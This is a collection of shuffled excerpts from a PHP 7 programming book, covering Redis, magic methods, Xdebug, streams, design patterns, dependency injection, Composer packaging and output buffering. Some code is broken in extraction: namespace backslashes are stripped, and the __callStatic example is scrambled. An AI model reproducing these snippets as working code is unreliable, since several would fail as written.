The singleton pattern The prototype pattern The abstract factory pattern The builder pattern The object pool pattern Behavioral patterns The strategy pattern The observer pattern The lazy initialization pattern The chain of responsibility pattern Structural patterns The decorator pattern Installing Redis Installing Redis Assuming we are using the fresh Ubuntu 16.10 (Yakkety Yak) installation, the following steps outline how we can setup the Redis server: We can install the Redis server using the following console commands: sudo apt-get update sudo apt-get -y install build-essential tcl wget http://download.redis.io/redis-stable.tar.gz tar xzf redis-stable.tar.gz cd redis-stable make make test sudo make install ./src/redis-server This should give us the following output:"},
    {"text": "Summary Summary In this chapter, we touched upon RxPHP and React, the two libraries that promise to bring reactive programming to PHP. While RxPHP brings the powerful observables packaged in composable-looking syntax, React enriches our experience with event-loop implementation. To carefully, we should emphasize that this is still a relatively experimental area for PHP, and far from ready for mainstream production use. It does, however, demonstrate that PHP is not limited with its runtime capabilities and shows promise in the reactive area. Moving forward, we will shift our focus on common design patterns found in modern PHP applications."},
    {"text": "Using __isset() Using __isset() The __isset() magic method is triggered by calling the isset() or empty() language constructs on inaccessible properties. The method accepts a single parameter, as per the following synopsis: public bool __isset(string $name) The $name argument is the name of the property being interacted with. Let's take a look at the followin g object conte xt example: <?php class User { private $data = [ 'name' => 'John', 'age' => 34, ]; public function __isset($name) { if (array_key_exists($name, $this->data)) { return true; } return false; } } $user = new User(); var_dump(isset($user->name)); The User class defines a single protected array property called $data , and a magic __isset() method. The current method's inner workings simply do a name lookup against the $data array key names and return true if the key is found in the array, otherwise, false . The resulting output of the example is bool(true) . The Magento platform provides an interesting and practical use case for the __isset() method as part of its vendor/magento/framework/HTTP/PhpEnvironment/Request.php class file: public function __isset($key) { switch (true) { case isset($this->params[$key]): return true; case isset($this->queryParams[$key]): return true; case isset($this->postParams[$key]): return true; case isset($_COOKIE[$key]): return true; case isset($this->serverParams[$key]): return true; case isset($this->envParams[$key]): return true; default: return false; } } The Magento\\Framework\\HTTP\\PhpEnvironment\\Request class here represents the PHP environment and all of its possible request data. The request data can come from many sources: a query string, $_GET , $_POST , and others. The switch case traverses through several of these source data variables ( $params , $queryParams , $postParams , $serverParams , $envParams , $_COOKIE ) in order to find and confirm the existence of the request parameter. Updating Updating Updating a value via the Redis client is the same as inserting it. We use the same set() method, with the same key. The new value simply overwrites the previous one, if any exists: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); $client ->set( 'test' , 'test1' ); $client ->set( 'test' , 'test2' ); // $client->get('test'); // returns string containing \"test2\" chars } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; }"},
    {"text": "Debugging Debugging The debugging feature of Xdebug can be easily turned on with the xdebug.remote_enable=1 option. With modern PHP, there is usually a special xdebug.ini configuration file; otherwise, we would edit the default php.ini file. With our Ubuntu installation, we add this to the /etc/php/7.0/apache2/conf.d/20-xdebug.ini file as follows: zend_extension=xdebug.so xdebug.remote_enable=1 Once the file has been modified, we need to make sure the Apache server is restarted: service apache2 restart While xdebug.remote_enable is the required option to turn on t he debugging feature, other related options include the following: xdebug.extended_info xdebug.idekey xdebug.remote_addr_header xdebug.remote_autostart xdebug.remote_connect_back xdebug.remote_cookie_expire_time xdebug.remote_enable xdebug.remote_handler xdebug.remote_host xdebug.remote_log xdebug.remote_mode xdebug.remote_port Supplemental information about individual debugger configuration options can be found under https://xdebug.org/docs/all_settings . Back in NetBeans, we can turn our focus on the Debug toolbar: When we click on the Debug Project button, NetBeans kicks off a browser with the URL http://localhost/index.php?XDEBUG_SESSION_START=netbeans-xdebug and activates the previously disabled buttons. The buttons available on the Debug toolbar present us with several debugging options: Step Into : This tells the debugger to go into the next function call and break there. Step Over : This tells the debugger to execute the next function and break afterwards. Step Out : This tells the debugger to finish the current function and break after it. Run to Cursor : This has a bit of a dual role. When used in combination with enabled breakpoints, it jumps directly from one breakpoint to another. When breakpoints are disabled, it jumps straight to the line where we positioned our cursor. We can, therefore, debug in a sort of free manner, as we decide on the next breakpoint dynamically after the debugging process is started, simply by placing our cursor where needed. The Run to Cursor option seems like a sensible and straightforward first approach. Let's go ahead and set several breakpoints in our sample application as follows: index.php : This is a total of six breakpoints: src/Foggyline/Catalog/Model/Category.php : This is a total of one breakpoint: src/Foggyline/Catalog/Block/Category/View.php : This is a total of one breakpoint: The following steps outline a debugging using only the Run to Cursor button: Click on Debug Project . This jumps to line 3 of index.php and records the following: Click on Run to Cursor . This jumps to line 11 of index.php and records the following: Notice how the Breakpoints tab now shows a green arrow next to index.php:11 . Click on Run to Cursor . This jumps to line 15 of src/Foggyline/Catalog/Model/Category.php and records the following: Click on Run to Cursor . This jumps to line15 of the index.php file and records the following: Click on Run to Cursor . This jumps to line 18 of the index.php file and records the following: Click on Run to Cursor . This jumps to line 23 of the index.php file and records the following: Click on Run to Cursor . This jumps to line 25 of the index.php file and records the following: Click on Run to Cursor . This jumps to line 22 of the src/Foggyline/Catalog/Block/Category/View.php file and records the following: Click on Run to Cursor . This jumps to line 22 of the src/Foggyline/Catalog/Block/Category/View.php file and records the following: Click on Run to Cursor . This jumps to line 22 of the src/Foggyline/Catalog/Block/Category/View.php file and records the following: Click on Run to Cursor . This jumps to line 27 of the index.php file and records the following: Click on Run to Cursor . This leaves us at line 27 of the index.php file as it reaches our last debug point where it records the following: Now we can click on the Finish Debugger Session button. Throughout this twelve-step process, we can clearly observe a behavior of IDE and the values it manages to record. It makes it easy to target specific bits and pieces of our code and then observe the variables as they change during the debugging process. Note that in between steps 10 and 11, we never see the Variables tab recording values for our third product. This is because variables get recorded after we move past the given debug breakpoint, which, in this case, shifts the context from the View.php class file onto an index.php file. This is where clicking on the Step Into button might have come in handy, as it would enable us t o drill further down the co de within the body of while during the execution of the third loop, thus yielding values for the third product. We should encourage mixing and using all of the debugging options in order to properly reach and read-out the varia bles of interest."},
    {"text": "Input/output streams Input/output streams Quite early in development, every programmer stumbles upon the streams term. This seemingly frightening term represents a form of data. Unlike the typical finite type of data, streams represent a potentially unlimited sequence of data. In PHP terms, a stream is a resource object exhibiting streamable behavior. Using various wrappers, the PHP language supports a wide range of streams. The stream_get_wrappers() function can retrieve a list of all the registered stream wrappers available on the currently running system, such as the following: php file glob data http ftp zip compress.zlib compress.bzip2 https ftps phar The list of wrappers is quite extensive, but not finite. We can also register our own wrappers using the stream_wrapper_register() function. Each wrapper tells the stream how to handle specific protocols and encodings. Each stream is therefore accessed through the scheme://target syntax, such as the following: php://stdin file:///path/to/file.ext glob://var/www/html/*.php data://text/plain;base64,Zm9nZ3lsaW5l http://foggyline.net/ The scheme part of the syntax indicates the name of the wrapper to be used, while the target part depends on the wrapper used. As a part of this section, we are interested in the php wrapper and i ts target values because they deal with the standard streams. The standard streams are the following three I/O connections made available to all programs: standard input ( stdin ) - file descriptor 0 standard output ( stdout ) - file descriptor 1 standard error ( stderr ) - file descriptor 2 The file descriptor is an integer representing a handle used to access an I/O resource. As a part of the POSIX application programming interface, Unix processes are expected to have these three file descriptors. Knowing the file descriptor value, we could use php://fd to gain direct access to the given file descriptor, such as php://fd/1 . However, there is a more elegant way of doing it. To learn more about POSIX, check out https://en.wikipedia.org/wiki/POSIX . Out of the box, the PHP CLI SAPI provides three constants for these thre e standard streams: define('STDIN', fopen('php://stdin', 'r')); : This represents an already opened stream to stdin define('STDOUT', fopen('php://stdout', 'w')); : This represents a n already opened stream to stdout define('STDERR', fopen('php://stderr', 'w')); : This represents a n already opened stream to stderr The following simple code snippet demonstrates the use of these standard streams: <?php fwrite ( STDOUT , \"Type something: \" ); $line = fgets ( STDIN ); fwrite ( STDOUT , 'You typed: ' . $line ); fwrite ( STDERR , 'Triggered STDERR!' . PHP_EOL ); Executing it, we would first see Type something: on screen, after which, we would need to provide a string and hit Enter , which finally gives the following an output: While the example itself is ultimately simplified, it does showcase the ease of obtaining the stream handles. What we do with those streams, further depends on the functions that utilize the streams ( fopen() , fputs() , and so on) and the actual stream functions. PHP provides over forty stream functions, as well as the streamWrapper class prototype. These provide us with a means of creating and manipulating streams in pretty much any way imaginable. Check out http://php.net/manual/en/book.stream.php for more details. What you need for this book What you need for this book Throughout this book, there are a number of simple and self-contained code and configuration examples. To successfully run these, we can easily make use of the Ubuntu powered desktop ( https://www.ubuntu.com/desktop ) and server ( https://www.ubuntu.com/server ) machines. Those of you using Windows or OSX machines can easily install Ubuntu within a VirtualBox. Installation instructions for VirtualBox can be found on the official VirtualBox page ( https://www.virtualbox.org/ ). Catching multiple exceptions types Catching multiple exceptions types With the introduction of throwables, PHP pretty much aligned its efforts around error detection, reporting, and handling. Developers are able to use the try...catch...finally blocks to handle the exceptions as they see fit. The possibility to use multiple catch blocks can give finer control over the response to certain types of exceptions. Sometimes, however, there are groups of exceptions we would like to respond equally. In PHP 7.1, exception handling was further refined to accommodate this challenge. Let's take a look at the following PHP 5.x example: try { // ... } catch (\\InvalidArgumentException $e) { // ... } catch (\\LengthException $e) { // ... } catch (Exception $e) { // ... } finally { // ... } Here, we are handling three exceptions, two of which are quite specific, and a third one that catches in if the previous two are not matched. The finally block is merely a cleanup, if it happens that one is needed. Imagine now that the same response is needed for both the \\InvalidArgumentException and \\LengthException blocks. The solution would be to either copy an entire chunk of code from one exception block into another, or, at best, write a function that wraps the response code and then calls that function within each exception block. The newly added exception handling syntax is enabled to catch multiple exception types. By using a single vertical bar ( | ), we can define multiple exception types for the catch parameter, as per the following PHP 7.x example: try { // ... } catch (\\InvalidArgumentException | \\LengthException $e) { // ... } catch (\\Exception $e) { // ... } finally { // ... } Aside from a touch of elegance, the new syntax directly affects code reuse for the better."},
    {"text": "Transactions Transactions Much like MongoDB, Redis also does not have ACID support in a sense that MySQL has, which is alright really, as Redis is just a k ey/value store and not a relational database. Redis, however, provides a leve l of atomicity. Using MULTI , EXEC , DISCARD , and WATCH , we are able to execute a group of commands within a single step, during which Redis makes the following two guarantees: Another client request can never be served in the middle of our group-commands execution Either all or none of the commands are processed Let's take a look at the following example: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); $client ->multi(); $result1 = $client ->set( 'tKey1' , 'Test#1' ); // Valid command $result2 = $client ->zadd( 'tKey2' , null ); // Invalid command if ( $result1 == false || $result2 == false ) { $client ->discard(); echo 'Transaction aborted.' , PHP_EOL ; } else { $client ->exec(); echo 'Transaction commited.' , PHP_EOL ; } } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } The $result2 value comes out as false , which triggers $client->discard(); . Although, result1 is a valid expression, it came after the $client->multi(); call, which means that its command is not really processed; so, we don't get to see the Test#1 value stored in Redis. Although there is no classically looking rollback mechanism, like we had with MySQL, this makes for a nice transaction model. Setting up sample data Setting up sample data Running the mongo command on the Ubuntu terminal gets us into a mongo interactive shell. From here on, with a simple few commands, we can add the sample data: use foggyline db.products.insert({name: \"iPhone 7\", price: 650, weight: \"138g\"}); db.products.insert({name: \"Samsung Galaxy S7\", price: 670, weight: \"152g\" }); db.products.insert({name: \"Motorola Moto Z Play\", price: 449.99, weight: \"165g\" }); db.products.insert({name: \"Google Pixel\", price: 649.99, weight: \"168g\" }); db.products.insert({name: \"HTC 10\", price: 799, weight: \"161g\" }); show dbs show collections This should give us an output much like the following screenshot: Using use foggyline and db.products.find() , we are able to now list all the entries added to the products collection: Using __callStatic() Using __callStatic() The __callStatic() magic is nearly identical to the __call() method. Where the __call() method is bound to the object context , the __callStatic() method is bound to the static context, which means this method is triggered when invoking inaccessible methods via the scope resolution operator ( :: ). The method accepts two parameters as per the following synopsis: public static mixed __callStatic (string $name, array $arguments) Notice the use of the static access modifier in the method declaration that is required by the static context upon which this method operates. The following example demonstrates the use of the __callStatic() method in the static context: <?php class User { public static function __callStatic($name, $arguments) { echo '__callStatic => ' . $name . ': ' . implode(', ', $arguments) . PHP_EOL; } public static function bonus($amount) { echo 'bonus: ' . $amount . PHP_EOL; } } code will yield the following output: User::hello('John', 34); User::bonus(560.00); User::salary(4200.00); The User class itself declared only the __callStatic() and bonus() methods. The User class tries to call static hello() , bonus() , and salary() methods. This effectively means that the class is trying to call two missing methods: hello() and salary() . The __callStatic() method kicks in for the missing two methods, thus yielding the following output: __callStatic => hello: John, 34 bonus: 560 __callStatic => salary: 4200 In OO programming, the static context is less frequent than the object context, which makes the __callStatic() method less frequently used than the __call() method. Behat Behat Behat is an open source and free testing framework based on a notion of behavior-driven developmen t ( BDD ). The great benefit of the BDD frameworks, including Behat, is that a significant portion of the functional documentation gets poured into the actual user stories we end up testing. That is, to some extent, the documentation itself becomes a test. Summary Summary The dependency injection is a simple technique that allows us to escape from the shackles of tight coupling. Combined with interface type hints, we get a powerful technique to write loosely coupled code. This isolates and minimizes the impact of possible future application design changes as well as its defects. Nowadays, it is considered irresponsible to even write modular and large code base applications without embracing these simple techniques. Moving forward, we will take a closer look at the state of the ecosystem around PHP packages, their creation, and distribution."},
    {"text": "The decorator pattern The decorator pattern The decorator pattern is a simple one. It allows us to add new behavior to object instances without affecting other instances of the same class. It basically acts as a decorating wrapper around our object. We can imagine a simple use case with a Logger class instance, where we have a simple logger class that we would like to occasionally decorate, or wrap into a more specific error, warning, and notice level logger. The following example demonstrates a possib le decorator patter n implementation: <?php interface LoggerInterface { public function log ( $message ); } class Logger implements LoggerInterface { public function log ( $message ) { file_put_contents ( 'app.log' , $message . PHP_EOL , FILE_APPEND ); } } abstract class LoggerDecorator implements LoggerInterface { protected $logger ; public function __construct(Logger $logger ) { $this -> logger = $logger ; } abstract public function log ( $message ); } class ErrorLogger extends LoggerDecorator { public function log ( $message ) { $this -> logger ->log( 'ErrorLogger: ' . $message ); } } class WarningLogger extends LoggerDecorator { public function log ( $message ) { $this -> logger ->log( 'WarningLogger: ' . $message ); } } class NoticeLogger extends LoggerDecorator { public function log ( $message ) { $this -> logger ->log( 'NoticeLogger: ' . $message ); } } // Client use ( new Logger())->log( 'Test Logger.' ); ( new ErrorLogger( new Logger()))->log( 'Test ErrorLogger.' ); ( new WarningLogger( new Logger()))->log( 'Test WarningLogger.' ); ( new NoticeLogger( new Logger()))->log( 'Test NoticeLogger.' ); Here, we started off by defining a LoggerInterface interface and a concrete Logger class that implements that interface. We then created an abstract LoggerDecorator class that also implements LoggerInterface . LoggerDecorator does not really implement the log() method itself; it defines it as abstract for future child classes to implement. Finally, we defined the concrete error, warning, and notice decorator classes. We can see their log() methods decorate the output according to their roles. The resulting output is shown as follows: Test Logger. ErrorLogger: Test ErrorLogger. WarningLogger: Test WarningLogger. NoticeLogger: Test NoticeLogger. The strategy pattern The strategy pattern The strategy pattern comes in handy where we have multiple chunks of code performing similar operations. It defines an encapsulated and interchangeable family of algorithms. Imagine an order checkout process where we want to implement different shipment providers, such as UPS and FedEx. The following example demonstrates a possible strategy pattern implementation: <?php interface ShipmentStrategy { public function calculate( $amount ); } class UPSShipment implements ShipmentStrategy { public function calculate( $amount ) { return 'UPSShipment...' ; } } class FedExShipment implements ShipmentStrategy { public function calculate( $amount ) { return 'FedExShipment...' ; } } class Checkout { private $amount = 0 ; public function __construct( $amount = 0 ) { $this -> amount = $amount ; } public function estimateShipment() { if ( $this -> amount > 199.99 ) { $shipment = new FedExShipment(); } else { $shipment = new UPSShipment(); } return $shipment ->calculate( $this -> amount ); } } // Client use $checkout = new Checkout( 19.99 ); echo $checkout ->estimateShipment(); // UPSShipment... $checkout = new Checkout( 499.99 ); echo $checkout ->estimateShipment(); // FedExShipment... We started off by defining a ShipmentStrategy interface with a calculate() method. We then defined the UPSShipment and FedExShipment classes which implement the ShipmentStrategy interface. With these two concrete shipment classes in place, we made a Checkout class that encapsulates the two shipment options in its estimateShipment() method. The client then calls the estimateShipment() method on the Checkout instance. Depending on the amount passed on, a different shipment calculation kicks in. Using this pattern, we are free to add new shipment calculations without changing the client. Executing tests Executing tests Running a jMeter test via a console is quite easy, as the following command shows: jmeter -n -t web-test-plan.jmx The -n parameter, also works with --nongui , stands for run JMeter in nongui mode . Whereas,, the -t parameter that also works with --testfile , stands for the jmeter test(.jmx) file to run . The resulting output should look the following screenshot: A quick look into the jmeter-result-tests.csv file reveals the structure and data captured: While the example demonstrated here relies on a default test plan with some minor modifications, the overall capabilities of Apache jMeter can enrich the whole testing experience by multiple factors."},
    {"text": "Creating your own package Creating your own package Using the composer init command, we can kick off the interactive composer.json generator that we will use later on to distribute our package. The interactive generator raises several questions, as per the following output: We used foggyline as our vendor name here, whereas mp7 (short for Mastering PHP 7) was used for the package name. Upon completion, the composer.json file is generated with the following content: { \"name\" : \"foggyline/mp7\" , \"description\" : \"Just a test package.\" , \"type\" : \"library\" , \"license\" : \"MIT\" , \"authors\" : [ { \"name\" : \"Branko Ajzele\" , \"email\" : \"ajzele@gmail.com\" } ], \"require\" : {} } Now, let's go ahead and create the src/Foggyline/MP7/Greeting/Goodbye.php file, relative to the project root directory, with the following content: <?php namespace FoggylineMP7Greeting; class Welcome { public function generate( $name ) { return 'Welcome ' . $name ; } } This is our dummy library class that we will soon distribute as the composer package. Before we do so, we need to amend composer.json by adding the top-level autoload entry to it, as follows: \"autoload\" : { \"psr-4\" : { \"FoggylineMP7\" : \"src/Foggyline/MP7/\" } } To test if autoload is set right, we run the composer dump-autoload --optimize console command and create the index.php file with the following content. We deliberately use the full path to the MP7 directory, as this will be our individual library, that is, package: <?php require_once __DIR__ . '/vendor/autoload.php' ; use FoggylineMP7GreetingWelcome; $greeting = new Welcome(); echo $greeting ->generate( 'John' ); If all went well, running this script should give us a Welcome John output. Now that we have composer.json describing our project, and src/Foggyline/MP7/ containing our library code, we can go ahead and distribute this. Automating provisioning Automating provisioning Th e provisioning i s a term that has gained a lot of traction among developers lately. It refers to the activity of setting up and configuring servers with every bit of required software, making it ready for application use. While this sounds a lot lik e the system operations ty pe of work, developers found it interesting with the rise of cloud services and the tooling surrounding it. Historically, provisioning implied a lot of manual type of work. There were not as many general purpose automated provisioning tools as there is today. This meant that there were times when provisioning took days or even weeks. Looking through the prism of today's market demands, such a scenario is hardly imaginable. Nowadays, a single application is usually served by several different servers, each of which is targeting a single functionality, such as web (Apache, Nginx, ...), storage (MySQL, Redis, ...), session (Redis, Memcached, ...), static content (Nginx), and so on. We simply cannot afford to spend days setting up each of the servers. There are several popular tools we can use to automate provisioning, some of which include these popular four: Ansible : https://www.ansible.com . Chef : https://www.chef.io/chef/ Puppet : https://puppet.com SaltStack : https://saltstack.com Like others tools of the same type, these are all built with the goal of making it easier to configure and maintain dozens, hundreds, or even thousands of servers. While all of these tools are more likely to get any provisioning job done with equal effect, let's take a closer look at one of them. Released in 2012, Ansible is the youngest of the four. It is an open source tool that automates software provisioning, configuration management, and application deployment. This tool performs all of its functions over SSH, without requiring any agent software installation on the target node/server. This alone makes it a favorable choice among developers. There are several key concepts around Ansible, some of which are as follows: Inventories : This is the list of Ansible managed servers Playbooks : This is Ansible's configuration expressed in YAML format Roles : This is automation around include directives based on a file structure Tasks : This is the possible actions that Ansible can execute The https://galaxy.ansible.com service acts as a hub that provides ready-to-use roles. To get a very basic understanding of Ansible, let's do a very simple and quick demonstration based on the following: Ubuntu workstation machine Ubuntu server machine We will use the ansible tool to provision software on the server machine. Setting up phpspec Setting up phpspec Much like PHPUnit and Behat, phpspec can be installed as a tool and a library. The tool version being the .phar archive, we can download it from the official GitHub repository, whereas the library version comes packed as a Composer package. Assuming that we are using the Ubuntu 16.10 (Yakkety Yak) installation, installing phpspec as a tool is easy, as shown in the following commands: wget https://github.com/phpspec/phpspec/releases/download/3.2.3/phpspec.phar chmod +x phpspec.phar sudo mv phpspec.phar /usr/local/bin/phpspec phpspec --version This should give us the following output: Installing phpspec as a library is as easy as running the following console command within the root of our project: composer require phpspec/phpspec This should give us the final output, which looks like the following screenshot: The phpspec library now becomes available under the vendor/phpspec directory and its console tool is executable under the vendor/bin/phpspec file. Reader feedback Reader feedback Feedback from our readers is always welcome. Let us know what you think about this book-what you liked or disliked. Reader feedback is important for us as it helps us develop titles that you will really get the most out of. To send us general feedback, simply e-mail feedback@packtpub.com , and mention the book's title in the subject of your message. If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, see our author guide at www.packtpub.com/authors ."},
    {"text": "Using __set() Using __set() Aside from method overloading , property overloading is another aspect of the PHP overloading capabilities. There are four magic methods in PHP that support the property overloading: __set() , __get() , __isset() , and __unset() . Throughout this section, we will take a closer look at the __set() method. The __set() magic method is triggered when trying to write data to inaccessible properties. The method accepts two parameters, as per the following synopsis: public void __set(string $name, mixed $value) Whereas, the __set() method parameters have the following meaning: $name : This is the name of the property being interacted with $value : This is the value that the $name property should be set to Let's take a look at the following object context example: <?php class User { private $data = array(); private $name; protected $age; public $salary; public function __set($name, $value) { $this->data[$name] = $value; } } $user = new User(); $user->name = 'John'; $user->age = 34; $user->salary = 4200.00; $user->message = 'hello'; var_dump($user); The User class declares four properties with various access modifiers. It further declares the __set() method that intercepts all the property write attempts on the object context. Attempting to set a non-existing ( $message ) or inaccessible ( $name , $age ) property triggers the __set() method. The inner workings of the __set() method push the inaccessible data into the $data property array, which is visible in the following output: object(User)#1 (4) { [\"data\":\"User\":private]=> array(3) { [\"name\"]=> string(4) \"John\" [\"age\"]=> int(34) [\"message\"]=> string(5) \"hello\" } [\"name\":\"User\":private]=> NULL [\"age\":protected]=> NULL [\"salary\"]=> float(4200) } One practical use of the __set() method might be allowing the setting of a property was set to true during object construction; otherwise, throw an exception. Trying to use any of the four property overloading methods ( __set() , __get() , __isset() , and __unset() ) in a static context w ould result in the following error: PHP Warning: The magic method __set() must have public visibility and cannot be static..."},
    {"text": "Understanding dependency injection Understanding dependency injection Throughout the introductory section, we touched upon passing dependency through the class __construct() method. There is more to it than just passing the dependent object. Let's consider the following three seemingly similar but different examples. Though PHP has been supporting type hinting for quite a while now, it isn't uncommon to come across pieces of code, which are as follows: <?php class App { protected $config ; protected $logger ; public function __construct( $config , $logger ) { $this -> config = $config ; $this -> logger = $logger ; } public function run() { $this -> config ->setValue( 'executed_at' , time ()); $this -> logger ->log( 'executed' ); } } class Config { protected $config = []; public function setValue( $path , $value ) { // implementation } } class Logger { public function log ( $message ) { // implementation } } $config = new Config(); $logger = new Logger(); $app = new App( $config , $logger ); $app ->run(); We can see that the App class __construct() method does not utilize the PHP type hinting feature. The $config and $logger variables are assumed by the developer to be of a certain type. While this example will work just fine, it still keeps our classes tightly coupled. There really is not that much difference between this example and the previous one where we had the $msqli dependency within the loadByEmail() method. Adding type hinting to the mix allows us to force the types we pass into the App class __construct() method: <?php class App { protected $config ; protected $logger ; public function __construct(Config $config , Logger $logger ) { $this -> config = $config ; $this -> logger = $logger ; } public function run() { $this -> config ->setValue( 'executed_at' , time ()); $this -> logger ->log( 'executed' ); } } class Config { protected $config = []; public function setValue( $path , $value ) { // implementation } } class Logger { public function log ( $message ) { // implementation } } $config = new Config(); $logger = new Logger(); $app = new App( $config , $logger ); $app ->run(); This simple move sets us halfway through making our code loosely coupled. Although we are now instructing our injectable objects to be of an exact type, we are still locked onto a specific type, that is, implementation. Striving for loose coupling should not get us locked into a specific implementation; otherwise, there would not be much use of a dependency injection pattern. This third example sets an important differentiation in regards to the first two examples: <?php class App { protected $config ; protected $logger ; public function __construct(ConfigInterface $config , LoggerInterface $logger ) { $this -> config = $config ; $this -> logger = $logger ; } public function run() { $this -> config ->setValue( 'executed_at' , time ()); $this -> logger ->log( 'executed' ); } } interface ConfigInterface { public function getValue( $value ); public function setValue( $path , $value ); } interface LoggerInterface { public function log ( $message ); } class Config implements ConfigInterface { protected $config = []; public function getValue( $value ) { // implementation } public function setValue( $path , $value ) { // implementation } } class Logger implements LoggerInterface { public function log ( $message ) { // implementation } } $config = new Config(); $logger = new Logger(); $app = new App( $config , $logger ); $app ->run(); Favoring interface type hints instead of concrete class type hints is among the key ingredients to write loosely coupled code. Although we are still injecting dependencies through the class __construct() , we are now doing so in a program to an interface, not an implementation manner. This allows us to avoid tight coupling, making our code more reusable. Clearly, these examples are ultimately simple. We can imagine how quickly things start to complicate when the number of injected objects increase, where each of the injected objects might need one, two, or even a dozen of the __construct() parameters itself. This is where the dependency injection container comes in handy."},
    {"text": "Output buffering Output buffering Output buffering is a PHP mechanism that controls the output of a script. Imagine we write down echo 'test'; within our PHP script and do not see anything on screen. How is that possible? The answer is o utput buffering . The following piece of code is a simple example of output buffering: <?php ob_start(); sleep(2); echo 'Chunk#1' . PHP_EOL; sleep(3); ob_end_flush(); ob_start(); echo 'Chunk#2' . PHP_EOL; sleep(5); ob_end_clean(); ob_start(); echo 'Chunk#3' . PHP_EOL; ob_end_flush(); ob_start(); sleep(5); echo 'Chunk#4' . PHP_EOL; //Chunk#1 //Chunk#3 //Chunk#4 When executed within the CLI environment, we will first see Chunk#1 come out after a few seconds, then a few seconds after, we will see Chunk#3 come out, and, finally, a few more seconds after, we will see Chunk#4 come out. Chunk#2 would never be output. This is quite a concept, given that we are used to having the echo construct outputting stuff just after it is called. There are several output buffering related functions, of which the following five are the most interesting ones: ob_start() : This triggers a new buffer and creates stacked buffers if called after another non-closed buffer ob_end_flush() : This outputs the topmost buffer and turns this output buffer off ob_end_clean() : This cleans the output buffer and turns off output buffering ob_get_contents() : This returns the content of the output buffer ob_gzhandler() : This is the callback function for use with ob_start() , to GZIP the output buffer The following example demonstrates the stacked buffers: <?php ob_start(); // BUFFER#1 sleep(2); echo 'Chunk #1' . PHP_EOL; ob_start(); // BUFFER#2 sleep(2); echo 'Chunk #2' . PHP_EOL; ob_start(); // BUFFER#3 sleep(2); echo 'Chunk #3' . PHP_EOL; ob_end_flush(); ob_end_flush(); sleep(2); echo 'Chunk #4' . PHP_EOL; ob_end_flush(); //Chunk #1 //Chunk #2 //Chunk #3 //Chunk #4 The entire output here is being withheld for roughly 8 seconds, after which all four Chunk#... strings are being output at once. This is because the ob_end_flush() function is the only one that sends the output to the console, whereas the ob_end_flush() function merely closes the buffer, passing it to the parent buffer present in the code. The use of the ob_get_contents() function can add further dynamic to output buffering, as shown in the following example: <?php $users = ['John', 'Marcy', 'Alice', 'Jack']; ob_start(); foreach ($users as $user) { echo 'User: ' . $user . PHP_EOL; } $report = ob_get_contents(); ob_end_clean(); ob_start(); echo 'Listing users:' . PHP_EOL; ob_end_flush(); echo $report; echo 'Total of ' . count($users) . ' users listed' . PHP_EOL; //Listing users: //User: John //User: Marcy //User: Alice //User: Jack //Total of 4 users listed The ob_get_content() function allows us to grab a string representation of content stored in the buffer. It is up to us to choose if we want to modify that content further, output it, or pass it on to other constructs. How does all this apply to web pages? After all, we are interested in the performance of our scripts, mostly, in context of web pages. Without output buffering, HTML is sent to the browser in chunks as PHP progresses through our script. With output buffering, HTML is sent to the browser as one string at the end of our script. Keeping in mind that the ob_start() function accepts a callback function, we can use the callback function to further modify the output. This modification can be anything, either form of filtering or even compression. The following example demonstrates the use of out put filtering: <?php ob_start('strip_away'); echo '<h1>', 'Bummer', '</h1>'; echo '<p>', 'I felt foolish and angry about it!', '</p>'; ob_end_flush(); function strip_away($buffer) { $keywords = ['bummer', 'foolish', 'angry']; foreach ($keywords as $keyword) { $buffer = str_ireplace( $keyword, str_repeat('X', strlen($keyword)), $buffer ); } return $buffer; } // Outputs: // <h1>XXXXXX</h1><p>I felt XXXXXXX and XXXXX about it!</p> Nowadays, however, we are not likely to write these kinds of structures ourselves, as the framework abstractions masquerade it for us."},
    {"text": "Error Handling and Logging Error Handling and Logging Effective error handling and logging are essential parts of an application. Early versions of PHP lacked the support for exceptions and only used errors to flag faulty application states. The PHP 5 version brought forth the OOP features to the language and, with it, the exception model. This empowered PHP with the try...catch blocks like other programming languages. Later, the PHP 5.5 version brought support for the finally block, which always executed after the try...catch blocks, regardless of whether an exception was thrown or not. Nowadays, the PHP language differentiates errors and exceptions as faulty states of an application. Both are raised as unexpected to our application logic. There are numerous types of errors, such as E_ERROR , E_WARNING , E_NOTICE , and others. When speaking of errors, we default to the E_ERROR type that tends to signal the end of our application, an unexpected state that an application should not try to catch and continue executing. This might be due to a lack of memory, IO errors, TCP/IP errors, null reference errors and many others. Exceptions, on the other hand, indicate an unexpected state that an application might want to catch and still carry on executing. This might be due to the inability to save an entry in a database at a given time, an unexpected e-mail sending failure, and many others. This helps to think of an exception as an OO concept of an error. PHP has its own mechanisms that allow interaction with some of the error types and exceptions. Using set_error_handler , we can define the custom error handler to possibly log or display an appropriate message to the user. Using the try...catch...finally blocks, we can safely catch possible exceptions and continue executing the application. The exceptions we don't catch automatically turn into a standard error and break our application execution. Handling errors would not really be complete without proper logging mechanism. While PHP itself provides an interesting and useful error_log() function, there are far more robust logging solutions available in the form of free community libraries, such as Mongo. Moving forward, we will take a detailed look into the following areas of error handling and logging: Error handling Error ArithmeticError DivisionByZeroError AssertionError ParseError TypeError Exception Logging Native logging Logging with Monolog NASA lost a $125 million Mars orbiter on September 1999 because engineers failed to convert units from English to metric. While the system had nothing to do with PHP or the fatal runtime errors as such, it goes to say how great the impact a faulty software might have in real life. Reactive Programming Reactive Programming Every so often, there is a shift in the software industry. A shift that enriches the ecosystem with ideas promising easier systems and application development. The driving force behind which is mostly the Internet nowadays, as it is a medium for all connected applications, not just those running in our browser. Majority of mobile users consume a large number of cloud services, without even realizing it. Ensuring consistent user experience in such a connected world is a challenge addressed in multiple ways. One such viewpoint is the reactivity, where programming language itself plays an important role. Traditionally, PHP follows the synchronous programming model and is not really fit for asynchronous programming. Although the standard library already has everything needed to write asynchronous I/O applications, the reality could not be far from different. Both MySQLi and MySQL (PDO), for example, remain blocking, making asynchronous programming with PHP useless. Luckily, the tides are shifting, and awareness about asynchronous is coming about with PHP. Reactive programming is an emerging topic of the software industry that builds on top of observables as its primitive. We associate asynchronous behavior with it, as observables provide an ideal way to access asynchronous sequences of multiple items. On a higher level, it's just another programming paradigm, just as procedural, object-oriented, declarative, and functional programming are. While it requires a certain mind shift to adopt observables, operators, observers, and other building 